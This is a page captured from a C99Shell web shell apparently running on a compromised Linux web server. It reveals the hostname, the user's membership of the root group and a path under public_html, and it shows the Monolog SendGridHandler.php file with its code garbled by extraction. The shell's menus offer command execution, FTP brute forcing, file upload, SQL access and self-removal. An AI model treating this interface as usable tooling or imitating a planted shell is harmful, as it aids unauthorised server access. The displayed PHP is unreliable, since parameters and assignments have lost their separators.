!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/monolog/monolog/src/Monolog/Handler/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SendGridHandler.php (2.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use 
Monolog\Logger;

/**
 * SendGridrHandler uses the SendGrid API v2 function to send Log emails, more information in https://sendgrid.com/docs/API_Reference/Web_API/mail.html
 *
 * @author Ricardo Fontanelli <ricardo.fontanelli@hotmail.com>
 */
class SendGridHandler extends MailHandler
{
    
/**
     * The SendGrid API User
     * @var string
     */
    
protected $apiUser;

    
/**
     * The SendGrid API Key
     * @var string
     */
    
protected $apiKey;

    
/**
     * The email addresses to which the message will be sent
     * @var string
     */
    
protected $from;

    
/**
     * The email addresses to which the message will be sent
     * @var string[]
     */
    
protected $to;

    
/**
     * The subject of the email
     * @var string
     */
    
protected $subject;

    
/**
     * @param string          $apiUser The SendGrid API User
     * @param string          $apiKey  The SendGrid API Key
     * @param string          $from    The sender of the email
     * @param string|string[] $to      The recipients of the email
     * @param string          $subject The subject of the mail
     */
    
public function __construct(string $apiUserstring $apiKeystring $from$tostring $subject$level Logger::ERRORbool $bubble true)
    {
        if (!
extension_loaded('curl')) {
            throw new 
MissingExtensionException('The curl extension is needed to use the SendGridHandler');
        }

        
parent::__construct($level$bubble);
        
$this->apiUser $apiUser;
        
$this->apiKey $apiKey;
        
$this->from $from;
        
$this->to = (array) $to;
        
$this->subject $subject;
    }

    
/**
     * {@inheritDoc}
     */
    
protected function send(string $content, array $records): void
    
{
        
$message = [];
        
$message['api_user'] = $this->apiUser;
        
$message['api_key'] = $this->apiKey;
        
$message['from'] = $this->from;
        foreach (
$this->to as $recipient) {
            
$message['to[]'] = $recipient;
        }
        
$message['subject'] = $this->subject;
        
$message['date'] = date('r');

        if (
$this->isHtmlBody($content)) {
            
$message['html'] = $content;
        } else {
            
$message['text'] = $content;
        }

        
$ch curl_init();
        
curl_setopt($chCURLOPT_URL'https://api.sendgrid.com/api/mail.send.json');
        
curl_setopt($chCURLOPT_POST1);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_POSTFIELDShttp_build_query($message));
        
Curl\Util::execute($ch2);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--